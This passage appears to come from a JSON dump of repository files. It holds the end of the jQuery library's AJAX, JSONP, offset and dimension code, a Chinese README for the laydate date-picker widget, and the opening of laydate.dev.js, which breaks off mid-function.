xhrSuccessStatus = {\n\n\t\t// File protocol always yields status code 0, assume 200\n\t\t0: 200,\n\n\t\t// Support: IE9\n\t\t// #1450: sometimes IE returns 1223 when it should be 204\n\t\t1223: 204\n\t},\n\txhrSupported = jQuery.ajaxSettings.xhr();\n\nsupport.cors = !!xhrSupported && ( \"withCredentials\" in xhrSupported );\nsupport.ajax = xhrSupported = !!xhrSupported;\n\njQuery.ajaxTransport( function( options ) {\n\tvar callback, errorCallback;\n\n\t// Cross domain only allowed if supported through XMLHttpRequest\n\tif ( support.cors || xhrSupported && !options.crossDomain ) {\n\t\treturn {\n\t\t\tsend: function( headers, complete ) {\n\t\t\t\tvar i,\n\t\t\t\t\txhr = options.xhr();\n\n\t\t\t\txhr.open(\n\t\t\t\t\toptions.type,\n\t\t\t\t\toptions.url,\n\t\t\t\t\toptions.async,\n\t\t\t\t\toptions.username,\n\t\t\t\t\toptions.password\n\t\t\t\t);\n\n\t\t\t\t// Apply custom fields if provided\n\t\t\t\tif ( options.xhrFields ) {\n\t\t\t\t\tfor ( i in options.xhrFields ) {\n\t\t\t\t\t\txhr[ i ] = options.xhrFields[ i ];\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Override mime type if needed\n\t\t\t\tif ( options.mimeType && xhr.overrideMimeType ) {\n\t\t\t\t\txhr.overrideMimeType( options.mimeType );\n\t\t\t\t}\n\n\t\t\t\t// X-Requested-With header\n\t\t\t\t// For cross-domain requests, seeing as conditions for a preflight are\n\t\t\t\t// akin to a jigsaw puzzle, we simply never set it to be sure.\n\t\t\t\t// (it can always be set on a per-request basis or even using ajaxSetup)\n\t\t\t\t// For same-domain requests, won't change header if already provided.\n\t\t\t\tif ( !options.crossDomain && !headers[ \"X-Requested-With\" ] ) {\n\t\t\t\t\theaders[ \"X-Requested-With\" ] = \"XMLHttpRequest\";\n\t\t\t\t}\n\n\t\t\t\t// Set headers\n\t\t\t\tfor ( i in headers ) {\n\t\t\t\t\txhr.setRequestHeader( i, headers[ i ] );\n\t\t\t\t}\n\n\t\t\t\t// Callback\n\t\t\t\tcallback = function( type ) {\n\t\t\t\t\treturn function() {\n\t\t\t\t\t\tif ( callback ) {\n\t\t\t\t\t\t\tcallback = errorCallback = xhr.onload =\n\t\t\t\t\t\t\t\txhr.onerror = xhr.onabort = xhr.onreadystatechange = null;\n\n\t\t\t\t\t\t\tif ( type === \"abort\" ) {\n\t\t\t\t\t\t\t\txhr.abort();\n\t\t\t\t\t\t\t} else if ( type === \"error\" ) {\n\n\t\t\t\t\t\t\t\t// Support: IE9\n\t\t\t\t\t\t\t\t// On a manual native abort, IE9 throws\n\t\t\t\t\t\t\t\t// errors on any property access that is not readyState\n\t\t\t\t\t\t\t\tif ( typeof xhr.status !== \"number\" ) {\n\t\t\t\t\t\t\t\t\tcomplete( 0, \"error\" );\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tcomplete(\n\n\t\t\t\t\t\t\t\t\t\t// File: protocol always yields status 0; see #8605, #14207\n\t\t\t\t\t\t\t\t\t\txhr.status,\n\t\t\t\t\t\t\t\t\t\txhr.statusText\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tcomplete(\n\t\t\t\t\t\t\t\t\txhrSuccessStatus[ xhr.status ] || xhr.status,\n\t\t\t\t\t\t\t\t\txhr.statusText,\n\n\t\t\t\t\t\t\t\t\t// Support: IE9 only\n\t\t\t\t\t\t\t\t\t// IE9 has no XHR2 but throws on binary (trac-11426)\n\t\t\t\t\t\t\t\t\t// For XHR2 non-text, let the caller handle it (gh-2498)\n\t\t\t\t\t\t\t\t\t( xhr.responseType || \"text\" ) !== \"text\"  ||\n\t\t\t\t\t\t\t\t\ttypeof xhr.responseText !== \"string\" ?\n\t\t\t\t\t\t\t\t\t\t{ binary: xhr.response } :\n\t\t\t\t\t\t\t\t\t\t{ text: xhr.responseText },\n\t\t\t\t\t\t\t\t\txhr.getAllResponseHeaders()\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t};\n\t\t\t\t};\n\n\t\t\t\t// Listen to events\n\t\t\t\txhr.onload = callback();\n\t\t\t\terrorCallback = xhr.onerror = callback( \"error\" );\n\n\t\t\t\t// Support: IE9\n\t\t\t\t// Use onreadystatechange to replace onabort\n\t\t\t\t// to handle uncaught aborts\n\t\t\t\tif ( xhr.onabort !== undefined ) {\n\t\t\t\t\txhr.onabort = errorCallback;\n\t\t\t\t} else {\n\t\t\t\t\txhr.onreadystatechange = function() {\n\n\t\t\t\t\t\t// Check readyState before timeout as it changes\n\t\t\t\t\t\tif ( xhr.readyState === 4 ) {\n\n\t\t\t\t\t\t\t// Allow onerror to be called first,\n\t\t\t\t\t\t\t// but that will not handle a native abort\n\t\t\t\t\t\t\t// Also, save errorCallback to a variable\n\t\t\t\t\t\t\t// as xhr.onerror cannot be accessed\n\t\t\t\t\t\t\twindow.setTimeout( function() {\n\t\t\t\t\t\t\t\tif ( callback ) {\n\t\t\t\t\t\t\t\t\terrorCallback();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} );\n\t\t\t\t\t\t}\n\t\t\t\t\t};\n\t\t\t\t}\n\n\t\t\t\t// Create the abort callback\n\t\t\t\tcallback = callback( \"abort\" );\n\n\t\t\t\ttry {\n\n\t\t\t\t\t// Do send the request (this may raise an exception)\n\t\t\t\t\txhr.send( options.hasContent && options.data || null );\n\t\t\t\t} catch ( e ) {\n\n\t\t\t\t\t// #14683: Only rethrow if this hasn't been notified as an error yet\n\t\t\t\t\tif ( callback ) {\n\t\t\t\t\t\tthrow e;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t},\n\n\t\t\tabort: function() {\n\t\t\t\tif ( callback ) {\n\t\t\t\t\tcallback();\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t}\n} );\n\n\n\n\n// Install script dataType\njQuery.ajaxSetup( {\n\taccepts: {\n\t\tscript: \"text/javascript, application/javascript, \" +\n\t\t\t\"application/ecmascript, application/x-ecmascript\"\n\t},\n\tcontents: {\n\t\tscript: /\\b(?:java|ecma)script\\b/\n\t},\n\tconverters: {\n\t\t\"text script\": function( text ) {\n\t\t\tjQuery.globalEval( text );\n\t\t\treturn text;\n\t\t}\n\t}\n} );\n\n// Handle cache's special case and crossDomain\njQuery.ajaxPrefilter( \"script\", function( s ) {\n\tif ( s.cache === undefined ) {\n\t\ts.cache = false;\n\t}\n\tif ( s.crossDomain ) {\n\t\ts.type = \"GET\";\n\t}\n} );\n\n// Bind script tag hack transport\njQuery.ajaxTransport( \"script\", function( s ) {\n\n\t// This transport only deals with cross domain requests\n\tif ( s.crossDomain ) {\n\t\tvar script, callback;\n\t\treturn {\n\t\t\tsend: function( _, complete ) {\n\t\t\t\tscript = jQuery( \"<script>\" ).prop( {\n\t\t\t\t\tcharset: s.scriptCharset,\n\t\t\t\t\tsrc: s.url\n\t\t\t\t} ).on(\n\t\t\t\t\t\"load error\",\n\t\t\t\t\tcallback = function( evt ) {\n\t\t\t\t\t\tscript.remove();\n\t\t\t\t\t\tcallback = null;\n\t\t\t\t\t\tif ( evt ) {\n\t\t\t\t\t\t\tcomplete( evt.type === \"error\" ? 404 : 200, evt.type );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t);\n\n\t\t\t\t// Use native DOM manipulation to avoid our domManip AJAX trickery\n\t\t\t\tdocument.head.appendChild( script[ 0 ] );\n\t\t\t},\n\t\t\tabort: function() {\n\t\t\t\tif ( callback ) {\n\t\t\t\t\tcallback();\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t}\n} );\n\n\n\n\nvar oldCallbacks = [],\n\trjsonp = /(=)\\?(?=&|$)|\\?\\?/;\n\n// Default jsonp settings\njQuery.ajaxSetup( {\n\tjsonp: \"callback\",\n\tjsonpCallback: function() {\n\t\tvar callback = oldCallbacks.pop() || ( jQuery.expando + \"_\" + ( nonce++ ) );\n\t\tthis[ callback ] = true;\n\t\treturn callback;\n\t}\n} );\n\n// Detect, normalize options and install callbacks for jsonp requests\njQuery.ajaxPrefilter( \"json jsonp\", function( s, originalSettings, jqXHR ) {\n\n\tvar callbackName, overwritten, responseContainer,\n\t\tjsonProp = s.jsonp !== false && ( rjsonp.test( s.url ) ?\n\t\t\t\"url\" :\n\t\t\ttypeof s.data === \"string\" &&\n\t\t\t\t( s.contentType || \"\" )\n\t\t\t\t\t.indexOf( \"application/x-www-form-urlencoded\" ) === 0 &&\n\t\t\t\trjsonp.test( s.data ) && \"data\"\n\t\t);\n\n\t// Handle iff the expected data type is \"jsonp\" or we have a parameter to set\n\tif ( jsonProp || s.dataTypes[ 0 ] === \"jsonp\" ) {\n\n\t\t// Get callback name, remembering preexisting value associated with it\n\t\tcallbackName = s.jsonpCallback = jQuery.isFunction( s.jsonpCallback ) ?\n\t\t\ts.jsonpCallback() :\n\t\t\ts.jsonpCallback;\n\n\t\t// Insert callback into url or form data\n\t\tif ( jsonProp ) {\n\t\t\ts[ jsonProp ] = s[ jsonProp ].replace( rjsonp, \"$1\" + callbackName );\n\t\t} else if ( s.jsonp !== false ) {\n\t\t\ts.url += ( rquery.test( s.url ) ? \"&\" : \"?\" ) + s.jsonp + \"=\" + callbackName;\n\t\t}\n\n\t\t// Use data converter to retrieve json after script execution\n\t\ts.converters[ \"script json\" ] = function() {\n\t\t\tif ( !responseContainer ) {\n\t\t\t\tjQuery.error( callbackName + \" was not called\" );\n\t\t\t}\n\t\t\treturn responseContainer[ 0 ];\n\t\t};\n\n\t\t// Force json dataType\n\t\ts.dataTypes[ 0 ] = \"json\";\n\n\t\t// Install callback\n\t\toverwritten = window[ callbackName ];\n\t\twindow[ callbackName ] = function() {\n\t\t\tresponseContainer = arguments;\n\t\t};\n\n\t\t// Clean-up function (fires after converters)\n\t\tjqXHR.always( function() {\n\n\t\t\t// If previous value didn't exist - remove it\n\t\t\tif ( overwritten === undefined ) {\n\t\t\t\tjQuery( window ).removeProp( callbackName );\n\n\t\t\t// Otherwise restore preexisting value\n\t\t\t} else {\n\t\t\t\twindow[ callbackName ] = overwritten;\n\t\t\t}\n\n\t\t\t// Save back as free\n\t\t\tif ( s[ callbackName ] ) {\n\n\t\t\t\t// Make sure that re-using the options doesn't screw things around\n\t\t\t\ts.jsonpCallback = originalSettings.jsonpCallback;\n\n\t\t\t\t// Save the callback name for future use\n\t\t\t\toldCallbacks.push( callbackName );\n\t\t\t}\n\n\t\t\t// Call if it was a function and we have a response\n\t\t\tif ( responseContainer && jQuery.isFunction( overwritten ) ) {\n\t\t\t\toverwritten( responseContainer[ 0 ] );\n\t\t\t}\n\n\t\t\tresponseContainer = overwritten = undefined;\n\t\t} );\n\n\t\t// Delegate to script\n\t\treturn \"script\";\n\t}\n} );\n\n\n\n\n// Support: Safari 8+\n// In Safari 8 documents created via document.implementation.createHTMLDocument\n// collapse sibling forms: the second one becomes a child of the first one.\n// Because of that, this security measure has to be disabled in Safari 8.\n// https://bugs.webkit.org/show_bug.cgi?id=137337\nsupport.createHTMLDocument = ( function() {\n\tvar body = document.implementation.createHTMLDocument( \"\" ).body;\n\tbody.innerHTML = \"<form></form><form></form>\";\n\treturn body.childNodes.length === 2;\n} )();\n\n\n// Argument \"data\" should be string of html\n// context (optional): If specified, the fragment will be created in this context,\n// defaults to document\n// keepScripts (optional): If true, will include scripts passed in the html string\njQuery.parseHTML = function( data, context, keepScripts ) {\n\tif ( !data || typeof data !== \"string\" ) {\n\t\treturn null;\n\t}\n\tif ( typeof context === \"boolean\" ) {\n\t\tkeepScripts = context;\n\t\tcontext = false;\n\t}\n\n\t// Stop scripts or inline event handlers from being executed immediately\n\t// by using document.implementation\n\tcontext = context || ( support.createHTMLDocument ?\n\t\tdocument.implementation.createHTMLDocument( \"\" ) :\n\t\tdocument );\n\n\tvar parsed = rsingleTag.exec( data ),\n\t\tscripts = !keepScripts && [];\n\n\t// Single tag\n\tif ( parsed ) {\n\t\treturn [ context.createElement( parsed[ 1 ] ) ];\n\t}\n\n\tparsed = buildFragment( [ data ], context, scripts );\n\n\tif ( scripts && scripts.length ) {\n\t\tjQuery( scripts ).remove();\n\t}\n\n\treturn jQuery.merge( [], parsed.childNodes );\n};\n\n\n// Keep a copy of the old load method\nvar _load = jQuery.fn.load;\n\n/**\n * Load a url into a page\n */\njQuery.fn.load = function( url, params, callback ) {\n\tif ( typeof url !== \"string\" && _load ) {\n\t\treturn _load.apply( this, arguments );\n\t}\n\n\tvar selector, type, response,\n\t\tself = this,\n\t\toff = url.indexOf( \" \" );\n\n\tif ( off > -1 ) {\n\t\tselector = jQuery.trim( url.slice( off ) );\n\t\turl = url.slice( 0, off );\n\t}\n\n\t// If it's a function\n\tif ( jQuery.isFunction( params ) ) {\n\n\t\t// We assume that it's the callback\n\t\tcallback = params;\n\t\tparams = undefined;\n\n\t// Otherwise, build a param string\n\t} else if ( params && typeof params === \"object\" ) {\n\t\ttype = \"POST\";\n\t}\n\n\t// If we have elements to modify, make the request\n\tif ( self.length > 0 ) {\n\t\tjQuery.ajax( {\n\t\t\turl: url,\n\n\t\t\t// If \"type\" variable is undefined, then \"GET\" method will be used.\n\t\t\t// Make value of this field explicit since\n\t\t\t// user can override it through ajaxSetup method\n\t\t\ttype: type || \"GET\",\n\t\t\tdataType: \"html\",\n\t\t\tdata: params\n\t\t} ).done( function( responseText ) {\n\n\t\t\t// Save response for use in complete callback\n\t\t\tresponse = arguments;\n\n\t\t\tself.html( selector ?\n\n\t\t\t\t// If a selector was specified, locate the right elements in a dummy div\n\t\t\t\t// Exclude scripts to avoid IE 'Permission Denied' errors\n\t\t\t\tjQuery( \"<div>\" ).append( jQuery.parseHTML( responseText ) ).find( selector ) :\n\n\t\t\t\t// Otherwise use the full result\n\t\t\t\tresponseText );\n\n\t\t// If the request succeeds, this function gets \"data\", \"status\", \"jqXHR\"\n\t\t// but they are ignored because response was set above.\n\t\t// If it fails, this function gets \"jqXHR\", \"status\", \"error\"\n\t\t} ).always( callback && function( jqXHR, status ) {\n\t\t\tself.each( function() {\n\t\t\t\tcallback.apply( self, response || [ jqXHR.responseText, status, jqXHR ] );\n\t\t\t} );\n\t\t} );\n\t}\n\n\treturn this;\n};\n\n\n\n\n// Attach a bunch of functions for handling common AJAX events\njQuery.each( [\n\t\"ajaxStart\",\n\t\"ajaxStop\",\n\t\"ajaxComplete\",\n\t\"ajaxError\",\n\t\"ajaxSuccess\",\n\t\"ajaxSend\"\n], function( i, type ) {\n\tjQuery.fn[ type ] = function( fn ) {\n\t\treturn this.on( type, fn );\n\t};\n} );\n\n\n\n\njQuery.expr.filters.animated = function( elem ) {\n\treturn jQuery.grep( jQuery.timers, function( fn ) {\n\t\treturn elem === fn.elem;\n\t} ).length;\n};\n\n\n\n\n/**\n * Gets a window from an element\n */\nfunction getWindow( elem ) {\n\treturn jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView;\n}\n\njQuery.offset = {\n\tsetOffset: function( elem, options, i ) {\n\t\tvar curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition,\n\t\t\tposition = jQuery.css( elem, \"position\" ),\n\t\t\tcurElem = jQuery( elem ),\n\t\t\tprops = {};\n\n\t\t// Set position first, in-case top/left are set even on static elem\n\t\tif ( position === \"static\" ) {\n\t\t\telem.style.position = \"relative\";\n\t\t}\n\n\t\tcurOffset = curElem.offset();\n\t\tcurCSSTop = jQuery.css( elem, \"top\" );\n\t\tcurCSSLeft = jQuery.css( elem, \"left\" );\n\t\tcalculatePosition = ( position === \"absolute\" || position === \"fixed\" ) &&\n\t\t\t( curCSSTop + curCSSLeft ).indexOf( \"auto\" ) > -1;\n\n\t\t// Need to be able to calculate position if either\n\t\t// top or left is auto and position is either absolute or fixed\n\t\tif ( calculatePosition ) {\n\t\t\tcurPosition = curElem.position();\n\t\t\tcurTop = curPosition.top;\n\t\t\tcurLeft = curPosition.left;\n\n\t\t} else {\n\t\t\tcurTop = parseFloat( curCSSTop ) || 0;\n\t\t\tcurLeft = parseFloat( curCSSLeft ) || 0;\n\t\t}\n\n\t\tif ( jQuery.isFunction( options ) ) {\n\n\t\t\t// Use jQuery.extend here to allow modification of coordinates argument (gh-1848)\n\t\t\toptions = options.call( elem, i, jQuery.extend( {}, curOffset ) );\n\t\t}\n\n\t\tif ( options.top != null ) {\n\t\t\tprops.top = ( options.top - curOffset.top ) + curTop;\n\t\t}\n\t\tif ( options.left != null ) {\n\t\t\tprops.left = ( options.left - curOffset.left ) + curLeft;\n\t\t}\n\n\t\tif ( \"using\" in options ) {\n\t\t\toptions.using.call( elem, props );\n\n\t\t} else {\n\t\t\tcurElem.css( props );\n\t\t}\n\t}\n};\n\njQuery.fn.extend( {\n\toffset: function( options ) {\n\t\tif ( arguments.length ) {\n\t\t\treturn options === undefined ?\n\t\t\t\tthis :\n\t\t\t\tthis.each( function( i ) {\n\t\t\t\t\tjQuery.offset.setOffset( this, options, i );\n\t\t\t\t} );\n\t\t}\n\n\t\tvar docElem, win,\n\t\t\telem = this[ 0 ],\n\t\t\tbox = { top: 0, left: 0 },\n\t\t\tdoc = elem && elem.ownerDocument;\n\n\t\tif ( !doc ) {\n\t\t\treturn;\n\t\t}\n\n\t\tdocElem = doc.documentElement;\n\n\t\t// Make sure it's not a disconnected DOM node\n\t\tif ( !jQuery.contains( docElem, elem ) ) {\n\t\t\treturn box;\n\t\t}\n\n\t\tbox = elem.getBoundingClientRect();\n\t\twin = getWindow( doc );\n\t\treturn {\n\t\t\ttop: box.top + win.pageYOffset - docElem.clientTop,\n\t\t\tleft: box.left + win.pageXOffset - docElem.clientLeft\n\t\t};\n\t},\n\n\tposition: function() {\n\t\tif ( !this[ 0 ] ) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar offsetParent, offset,\n\t\t\telem = this[ 0 ],\n\t\t\tparentOffset = { top: 0, left: 0 };\n\n\t\t// Fixed elements are offset from window (parentOffset = {top:0, left: 0},\n\t\t// because it is its only offset parent\n\t\tif ( jQuery.css( elem, \"position\" ) === \"fixed\" ) {\n\n\t\t\t// Assume getBoundingClientRect is there when computed position is fixed\n\t\t\toffset = elem.getBoundingClientRect();\n\n\t\t} else {\n\n\t\t\t// Get *real* offsetParent\n\t\t\toffsetParent = this.offsetParent();\n\n\t\t\t// Get correct offsets\n\t\t\toffset = this.offset();\n\t\t\tif ( !jQuery.nodeName( offsetParent[ 0 ], \"html\" ) ) {\n\t\t\t\tparentOffset = offsetParent.offset();\n\t\t\t}\n\n\t\t\t// Add offsetParent borders\n\t\t\t// Subtract offsetParent scroll positions\n\t\t\tparentOffset.top += jQuery.css( offsetParent[ 0 ], \"borderTopWidth\", true ) -\n\t\t\t\toffsetParent.scrollTop();\n\t\t\tparentOffset.left += jQuery.css( offsetParent[ 0 ], \"borderLeftWidth\", true ) -\n\t\t\t\toffsetParent.scrollLeft();\n\t\t}\n\n\t\t// Subtract parent offsets and element margins\n\t\treturn {\n\t\t\ttop: offset.top - parentOffset.top - jQuery.css( elem, \"marginTop\", true ),\n\t\t\tleft: offset.left - parentOffset.left - jQuery.css( elem, \"marginLeft\", true )\n\t\t};\n\t},\n\n\t// This method will return documentElement in the following cases:\n\t// 1) For the element inside the iframe without offsetParent, this method will return\n\t//    documentElement of the parent window\n\t// 2) For the hidden or detached element\n\t// 3) For body or html element, i.e. in case of the html node - it will return itself\n\t//\n\t// but those exceptions were never presented as a real life use-cases\n\t// and might be considered as more preferable results.\n\t//\n\t// This logic, however, is not guaranteed and can change at any point in the future\n\toffsetParent: function() {\n\t\treturn this.map( function() {\n\t\t\tvar offsetParent = this.offsetParent;\n\n\t\t\twhile ( offsetParent && jQuery.css( offsetParent, \"position\" ) === \"static\" ) {\n\t\t\t\toffsetParent = offsetParent.offsetParent;\n\t\t\t}\n\n\t\t\treturn offsetParent || documentElement;\n\t\t} );\n\t}\n} );\n\n// Create scrollLeft and scrollTop methods\njQuery.each( { scrollLeft: \"pageXOffset\", scrollTop: \"pageYOffset\" }, function( method, prop ) {\n\tvar top = \"pageYOffset\" === prop;\n\n\tjQuery.fn[ method ] = function( val ) {\n\t\treturn access( this, function( elem, method, val ) {\n\t\t\tvar win = getWindow( elem );\n\n\t\t\tif ( val === undefined ) {\n\t\t\t\treturn win ? win[ prop ] : elem[ method ];\n\t\t\t}\n\n\t\t\tif ( win ) {\n\t\t\t\twin.scrollTo(\n\t\t\t\t\t!top ? val : win.pageXOffset,\n\t\t\t\t\ttop ? val : win.pageYOffset\n\t\t\t\t);\n\n\t\t\t} else {\n\t\t\t\telem[ method ] = val;\n\t\t\t}\n\t\t}, method, val, arguments.length );\n\t};\n} );\n\n// Support: Safari<7-8+, Chrome<37-44+\n// Add the top/left cssHooks using jQuery.fn.position\n// Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084\n// Blink bug: https://code.google.com/p/chromium/issues/detail?id=229280\n// getComputedStyle returns percent when specified for top/left/bottom/right;\n// rather than make the css module depend on the offset module, just check for it here\njQuery.each( [ \"top\", \"left\" ], function( i, prop ) {\n\tjQuery.cssHooks[ prop ] = addGetHookIf( support.pixelPosition,\n\t\tfunction( elem, computed ) {\n\t\t\tif ( computed ) {\n\t\t\t\tcomputed = curCSS( elem, prop );\n\n\t\t\t\t// If curCSS returns percentage, fallback to offset\n\t\t\t\treturn rnumnonpx.test( computed ) ?\n\t\t\t\t\tjQuery( elem ).position()[ prop ] + \"px\" :\n\t\t\t\t\tcomputed;\n\t\t\t}\n\t\t}\n\t);\n} );\n\n\n// Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods\njQuery.each( { Height: \"height\", Width: \"width\" }, function( name, type ) {\n\tjQuery.each( { padding: \"inner\" + name, content: type, \"\": \"outer\" + name },\n\t\tfunction( defaultExtra, funcName ) {\n\n\t\t// Margin is only for outerHeight, outerWidth\n\t\tjQuery.fn[ funcName ] = function( margin, value ) {\n\t\t\tvar chainable = arguments.length && ( defaultExtra || typeof margin !== \"boolean\" ),\n\t\t\t\textra = defaultExtra || ( margin === true || value === true ? \"margin\" : \"border\" );\n\n\t\t\treturn access( this, function( elem, type, value ) {\n\t\t\t\tvar doc;\n\n\t\t\t\tif ( jQuery.isWindow( elem ) ) {\n\n\t\t\t\t\t// As of 5/8/2012 this will yield incorrect results for Mobile Safari, but there\n\t\t\t\t\t// isn't a whole lot we can do. See pull request at this URL for discussion:\n\t\t\t\t\t// https://github.com/jquery/jquery/pull/764\n\t\t\t\t\treturn elem.document.documentElement[ \"client\" + name ];\n\t\t\t\t}\n\n\t\t\t\t// Get document width or height\n\t\t\t\tif ( elem.nodeType === 9 ) {\n\t\t\t\t\tdoc = elem.documentElement;\n\n\t\t\t\t\t// Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height],\n\t\t\t\t\t// whichever is greatest\n\t\t\t\t\treturn Math.max(\n\t\t\t\t\t\telem.body[ \"scroll\" + name ], doc[ \"scroll\" + name ],\n\t\t\t\t\t\telem.body[ \"offset\" + name ], doc[ \"offset\" + name ],\n\t\t\t\t\t\tdoc[ \"client\" + name ]\n\t\t\t\t\t);\n\t\t\t\t}\n\n\t\t\t\treturn value === undefined ?\n\n\t\t\t\t\t// Get width or height on the element, requesting but not forcing parseFloat\n\t\t\t\t\tjQuery.css( elem, type, extra ) :\n\n\t\t\t\t\t// Set width or height on the element\n\t\t\t\t\tjQuery.style( elem, type, value, extra );\n\t\t\t}, type, chainable ? margin : undefined, chainable, null );\n\t\t};\n\t} );\n} );\n\n\njQuery.fn.extend( {\n\n\tbind: function( types, data, fn ) {\n\t\treturn this.on( types, null, data, fn );\n\t},\n\tunbind: function( types, fn ) {\n\t\treturn this.off( types, null, fn );\n\t},\n\n\tdelegate: function( selector, types, data, fn ) {\n\t\treturn this.on( types, selector, data, fn );\n\t},\n\tundelegate: function( selector, types, fn ) {\n\n\t\t// ( namespace ) or ( selector, types [, fn] )\n\t\treturn arguments.length === 1 ?\n\t\t\tthis.off( selector, \"**\" ) :\n\t\t\tthis.off( types, selector || \"**\", fn );\n\t},\n\tsize: function() {\n\t\treturn this.length;\n\t}\n} );\n\njQuery.fn.andSelf = jQuery.fn.addBack;\n\n\n\n\n// Register as a named AMD module, since jQuery can be concatenated with other\n// files that may use define, but not via a proper concatenation script that\n// understands anonymous AMD modules. A named AMD is safest and most robust\n// way to register. Lowercase jquery is used because AMD module names are\n// derived from file names, and jQuery is normally delivered in a lowercase\n// file name. Do this after creating the global so that if an AMD module wants\n// to call noConflict to hide this version of jQuery, it will work.\n\n// Note that for maximum portability, libraries that are not jQuery should\n// declare themselves as anonymous modules, and avoid setting a global if an\n// AMD loader is present. jQuery is a special case. For more information, see\n// https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon\n\nif ( typeof define === \"function\" && define.amd ) {\n\tdefine( \"jquery\", [], function() {\n\t\treturn jQuery;\n\t} );\n}\n\n\n\nvar\n\n\t// Map over jQuery in case of overwrite\n\t_jQuery = window.jQuery,\n\n\t// Map over the $ in case of overwrite\n\t_$ = window.$;\n\njQuery.noConflict = function( deep ) {\n\tif ( window.$ === jQuery ) {\n\t\twindow.$ = _$;\n\t}\n\n\tif ( deep && window.jQuery === jQuery ) {\n\t\twindow.jQuery = _jQuery;\n\t}\n\n\treturn jQuery;\n};\n\n// Expose jQuery and $ identifiers, even in AMD\n// (#7102#comment:10, https://github.com/jquery/jquery/pull/557)\n// and CommonJS for browser emulators (#13566)\nif ( !noGlobal ) {\n\twindow.jQuery = window.$ = jQuery;\n}\n\nreturn jQuery;\n}));\n"
  },
  {
    "path": "antSword/static/libs/laydate/README.md",
    "content": "﻿## 说明\nlaydate.js是压缩后的核心代码，laydate.dev.js是开发版的源代码。\n\nneed目录存放着核心css\n\nskins是皮肤目录\n\n将laydate pull到你的本地后，将其存放到您js相关目录下的laydate目录，不要改动laydate的结构，否则无法正常运行。\n\n## 愿景\n做全球最好的web日期控件。\n\n\n## 简要\n她基于原生JavaScript精心雕琢，兼容了包括IE6在内的所有主流浏览器。她具备优雅的内部代码，良好的性能体验，和完善的皮肤体系，并且完全开源，你可以任意获取开发版源代码，一扫某些传统日期控件的封闭与狭隘。layDate本着资源共享的开发者精神和对网页日历交互无穷的追求，延续了layui一贯的简单与易用。她遵循LGPL协议，您可以免费将她用于任何个人项目。\n\n## 更新日志\n\n1.1\n\n1. layer.now(timestamp,format)支持多类型参数。timestamp支持今天的前若干天，和今天的后若干天，并且如果是一个有效的时间戳,则返回该时间戳对应的日期。如果什么都没传入，则返回当前时间日期。format为日期格式，为空时则采用默认的“-”分割。\n2. 优化核心代码。\n3. 分和秒的选择改成10列*6行。\n4. 修复星期未居中对齐的样式问题\n5. 修复在页面加载完毕事件中，调用laydate所造成的立即执行的bug\n6. 皮肤包新增[墨绿]。\n\n## 备注\n[官网](http://sentsin.com/layui/laydate/)、[Say交流](http://say.sentsin.com/home-58.html)"
  },
  {
    "path": "antSword/static/libs/laydate/laydate.dev.js",
    "content": "﻿/**\n \n @Name : layDate v1.1 日期控件\n @Author: 贤心\n @Date: 2014-06-25\n @QQ群：176047195\n @Site：http://sentsin.com/layui/laydate\n \n */\n\n;!function(win){\n\n//全局配置，如果采用默认均不需要改动\nvar config =  {\n    path: '', //laydate所在路径\n    defSkin: 'default', //初始化皮肤\n    format: 'YYYY-MM-DD', //日期格式\n    min: '1900-01-01 00:00:00', //最小日期\n    max: '2099-12-31 23:59:59', //最大日期\n    isv: false,\n    init: true\n};\n\nvar Dates = {}, doc = document, creat = 'createElement', byid = 'getElementById', tags = 'getElementsByTagName';\nvar as = ['laydate_box', 'laydate_void', 'laydate_click', 'LayDateSkin', 'skins/', '/laydate.css'];\n\n\n//主接口\nwin.laydate = function(options){\n    options = options || {};\n    try{\n        as.event = win.event ? win.event : laydate.caller.arguments[0];\n    } catch(e){};\n    Dates.run(options);\n    return laydate;\n};\n\nlaydate.v = '1.1';\n\n//获取组件存放路径\nDates.getPath = (function(){\n    var js = document.scripts, jsPath = js[js.length - 1].src;\n    return config.path ? config.path : jsPath.substring(0, jsPath.lastIndexOf(\"/\") + 1);\n}());\n\nDates.use = function(lib, id){\n    return false;\n    var link = doc[creat]('link');\n    link.type = 'text/css';\n    link.rel = 'stylesheet';\n    link.href = Dates.getPath + lib + as[5];\n    id && (link.id = id);\n    doc[tags]('head')[0].appendChild(link);\n    link = null;\n};\n\nDates.trim = function(str){\n    str = str || '';\n    return str.replace(/^\\s|\\s$/g, '').replace(/\\s+/g, ' ');\n};\n\n//补齐数位\nDates.digit = function(num){\n    return num < 10 ? '0' + (num|0) : num;\n};\n\nDates.stopmp = function(e){\n    e = e || win.event;\n    e.stopPropagation ? e.stopPropagation() : e.cancelBubble = true;\n    return this;\n};\n\nDates.each = function(arr, fn){\n    var i = 0, len = arr.length;\n    for(; i < len; i++){\n        if(fn(i, arr[i]) === false){\n            break\n        }\n    }\n};\n\nDates.hasClass = function(elem, cls){\n    elem = elem || {};\n    return new RegExp('\\\\b' + cls +'\\\\b').test(elem.className);\n};\n\nDates.addClass = function(elem, cls){\n    elem = elem || {};\n    Dates.hasClass(elem, cls) || (elem.className += ' ' + cls);\n    elem.className = Dates.trim(elem.className);\n    return this;\n};\n\nDates.removeClass = function(elem, cls) {\n    elem = elem || {};\n    if (Dates.hasClass(elem, cls)) {\n        var reg = new RegExp('\\\\b' + cls +'\\\\b');\n        elem.className = elem.className.replace(reg, '');\n    }\n    return this;\n};\n\n//清除css属性\nDates.removeCssAttr = function(elem, attr){\n    var s = elem.style;\n    if(s.removeProperty){\n        